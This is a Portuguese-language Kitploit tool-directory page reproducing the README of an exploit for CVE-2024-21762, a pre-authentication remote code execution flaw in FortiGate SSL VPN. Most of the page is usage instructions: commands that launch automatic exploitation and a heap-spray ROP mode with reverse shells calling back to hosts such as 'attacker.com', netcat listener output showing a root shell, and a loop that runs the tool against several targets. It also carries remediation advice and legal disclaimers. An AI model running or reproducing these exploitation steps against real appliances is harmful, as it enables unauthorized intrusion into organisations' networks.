Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-21762 — Detecta e explora o CVE-2024-21762 RCE pré-autenticação no FortiGate SSL VPN, apresentando validação de linha de base, exploração automática, modo heap-spray ROP e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Detecta e explora o CVE-2024-21762 RCE pré-autenticação no FortiGate SSL VPN, apresentando validação de linha de base, exploração automática, modo heap-spray ROP e reverse shell.

Ver Repositório
há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-21762 - FortiGate SSL VPN RCE Detection & Exploitation Tool

Python 3.7+ License Vulnerability: Critical

Ferramenta de detecção e exploração para CVE-2024-21762 - Vulnerabilidade crítica em FortiGate SSL VPN

⚠️ AVISO LEGAL: Esta ferramenta é exclusivamente para uso em ambientes de teste autorizados. O uso não autorizado em sistemas é ILEGAL e pode resultar em sérias consequências legais.

Visão Geral

CVE-2024-21762 é uma vulnerabilidade crítica em componentes FortiGate SSL VPN que permite Remote Code Execution (RCE) pré-autenticação. A falha existe em um parsing vulnerável de requisições HTTP com Transfer-Encoding chunked, resultando em out-of-bounds write no componente sslvpnd.

Detalhes Técnicos

AtributoInformação
CVE IDCVE-2024-21762
VulnerabilidadeOut-of-bounds write em sslvpnd
TipoRemote Code Execution (RCE) Pré-Autenticação
CVSS Score9.8 (Critical)
Componente AfetadoFortiOS SSL VPN
Versões Vulneráveis7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Funcionalidades

✅ Detecção de Vulnerabilidade - Identifica FortiGate vulneráveis através de requisições malformadas
✅ Teste de Baseline - Verifica comportamento normal do servidor antes dos testes
✅ Modo Automático - Detecta vulnerabilidade e explora automaticamente
✅ Reverse Shell - Suporta reverse shell bash com configuração de IP/porta
✅ Validação de Entrada - Valida IPs e portas antes da exploração
✅ Relatórios Detalhados - Gera relatórios com recomendações de remediação
✅ Tratamento Robusto de Erros - Gerenciamento seguro de conexões e exceções

Requisitos

  • Python 3.7 ou superior
  • Módulos padrão da biblioteca Python (socket, ssl, argparse, datetime, time, re)
  • Acesso de rede ao alvo (porta 443 ou customizada)

Instalação

root@kitploit:~
# Clone o repositório
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762

# Verifique a sintaxe
python -m py_compile EXPLOIT.py

# Execute o script
python EXPLOIT.py -h

Uso

Uso Básico

root@kitploit:~
# Teste simples de detecção
python EXPLOIT.py 192.168.1.100

# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443

# Com timeout aumentado
python EXPLOIT.py 192.168.1.100 --timeout 20

Modo Automático (Detecção + Exploração)

root@kitploit:~
# Modo automático com reverse shell pré-configurado
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Modo automático sem credenciais (pede interativamente)
python EXPLOIT.py 192.168.1.100 --auto

Modo ROP - Exploração Avançada com Heap Spray

O modo ROP implementa uma exploração de dois estágios com heap spray para alvos específicos (FortiOS 7.4.2):

root@kitploit:~
# Exploração ROP com reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Com timeout aumentado para alvos lentos
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

Fluxo de Exploração ROP:

  1. Estágio 1: Envio de heap spray de 1.8MB com ROP gadgets
  2. Espera 2 segundos para CPU processar
  3. Estágio 2: Trigger do OOB write com chunk de 4137 bytes
  4. Espera 3 segundos para execução do payload
  5. Conexão reversa Node.js estabelecida

No seu servidor de escuta:

root@kitploit:~
# Linux/Mac/Windows com netcat
nc -lnvp 4242

# Saída esperada:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Nota Importante: O modo ROP é otimizado para FortiOS 7.4.2.F-build2571. Outras versões podem não funcionar devido aos offsets hardcoded do ROP chain.

Teste Manual com Reverse Shell

root@kitploit:~
# Enviar payload de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Combinação de múltiplas opções
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Opções Disponíveis

root@kitploit:~
positional arguments:
  target                    Target hostname ou IP a ser testado

optional arguments:
  -h, --help               Mostra esta mensagem de ajuda
  -t, --target HOSTNAME    Target hostname ou IP (alternativo)
  -p, --port PORT          Porta SSL VPN (padrão: 443)
  --timeout SECONDS        Timeout em segundos (padrão: 10)
  -li, --lhost IP          IP local para receber reverse shell
  -lp, --lport PORT        Porta local para receber reverse shell
  --no-baseline            Pula teste de baseline
  --auto                   Modo automático: detecta e explora
  --rop                    Modo ROP: exploração avançada com heap spray (FortiOS 7.4.2)
  -v, --version            Mostra versão do script

Exemplos de Uso Completos

1. Detecção Simples

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Resultado esperado em caso de vulnerabilidade:

root@kitploit:~
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL

2. Exploração Automática com Reverse Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

No seu servidor:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Teste em Múltiplos Alvos

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Como Funciona

Fluxo de Detecção

  1. Baseline Test - Envia requisição HTTP normal para verificar comportamento padrão
  2. Malformed Request - Envia requisição HTTP malformada com chunked encoding vulnerável
  3. Analysis - Analisa a resposta para detectar sinais de vulnerabilidade:
    • Encerramento abrupto de conexão
    • Timeout/crash do servidor
    • TLS Alerts anormais
  4. Report - Gera relatório com status e recomendações

Fluxo de Exploração (Modo Automático)

  1. Executa teste de detecção
  2. Se vulnerável, injeta payload de reverse shell
  3. Aguarda conexão reversa
  4. Gera relatório final

Indicadores de Vulnerabilidade

A ferramenta considera um alvo vulnerável quando detecta um dos seguintes comportamentos:

  • ✓ Conexão encerrada abruptamente (Empty reply)
  • ✓ Timeout após envio de payload (servidor crash)
  • ✓ TLS Alert recebido (sslvpnd crashed)
  • ✓ Connection Reset by Peer

Versões Afetadas

VersãoDetecçãoROP ModeStatus
FortiOS 7.0.0 - 7.0.13✅ Sim❌ Não⚠️ VULNERÁVEL
FortiOS 7.2.0 - 7.2.6✅ Sim❌ Não⚠️ VULNERÁVEL
FortiOS 7.4.0 - 7.4.1✅ Sim❌ Não⚠️ VULNERÁVEL
FortiOS 7.4.2 (build≤2571)✅ Sim✅ Sim⚠️ VULNERÁVEL
FortiOS 7.4.3+❌ Não❌ Não✅ CORRIGIDO

Remediação

Ações Imediatas

  1. Atualizar FortiOS para versão corrigida:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Isolação Temporária

    • Desabilitar acesso externo ao SSL VPN
    • Restringir acesso administrativo
  3. Monitoramento

    • Revisar logs para sinais de exploração
    • Verificar credenciais e acessos anormais

Verificação Posterior

root@kitploit:~
# Verificar versão do FortiOS
python EXPLOIT.py seu-fortinet.com

Se o resultado mostrar "NÃO VULNERÁVEL", o patch foi aplicado com sucesso.

Estrutura do Projeto

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Script principal de exploração
├── README.md           # Este arquivo
├── LICENSE             # Licença MIT
└── .gitignore          # Configuração Git

Métodos da Classe

CVE2024_21762_Detector

MétodoDescrição
test_vulnerability()Testa a vulnerabilidade enviando requisição malformada
exploit(lhost, lport)Explora a vulnerabilidade com reverse shell
test_baseline()Testa comportamento normal do servidor
generate_report()Gera relatório final com status
_create_ssl_context()Cria contexto SSL reutilizável
_create_socket_connection()Cria conexão TLS segura
_close_socket(sock)Fecha socket de forma segura
_is_valid_ip(ip_str)Valida formato de IP

Tratamento de Erros

A ferramenta implementa:

  • ✓ Validação robusta de entrada
  • ✓ Tratamento de exceções SSL/TLS
  • ✓ Timeout em conexões
  • ✓ Fechamento seguro de sockets
  • ✓ Mensagens de erro descritivas

Limitações

  • ⚠️ Requer conectividade de rede ao alvo
  • ⚠️ Detecta vulnerabilidade mas não garante exploração bem-sucedida
  • ⚠️ Reverse shell depende do ambiente alvo (requer bash)
  • ⚠️ Não funciona com firewall restritivo

FAQ

P: É possível usar em ambiente Windows?
R: Sim, o script Python funciona em Windows, porém a reverse shell bash padrão não funcionará. Você precisaria de payload customizado.

P: Como saber se exploração foi bem-sucedida?
R: Verifique a máquina listening pela reverse shell (nc/ncat). O script mostrará mensagens indicando progresso.

P: Posso usar contra múltiplos alvos?
R: Sim, você pode criar um script em bash/PowerShell para iterar sobre lista de IPs.

P: Qual é a diferença entre modo normal e automático?
R: Modo automático explora automaticamente se vulnerabilidade for encontrada. Modo normal apenas detecta.

Contribuindo

Encontrou um bug ou tem sugestões? Abra uma issue ou faça um pull request!

Licença

Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.

Disclaimer

Este software é fornecido "como está" para fins de pesquisa e teste autorizado. Os autores não são responsáveis por:

  • Danos causados pelo uso não autorizado
  • Perda de dados
  • Impacto em sistemas de produção
  • Consequências legais do uso não autorizado

USE RESPONSAVELMENTE E APENAS EM AMBIENTES AUTORIZADOS

Referências

  • Fortinet Security Advisory
  • NVD - CVE-2024-21762
  • CVSS Calculator

Autor

Desenvolvido para fins educacionais e de pesquisa em segurança cibernética.


⚠️ Lembre-se: Use esta ferramenta apenas em sistemas que você possui ou tem autorização explícita para testar. A exploração não autorizada é crime.

Baixar ferramenta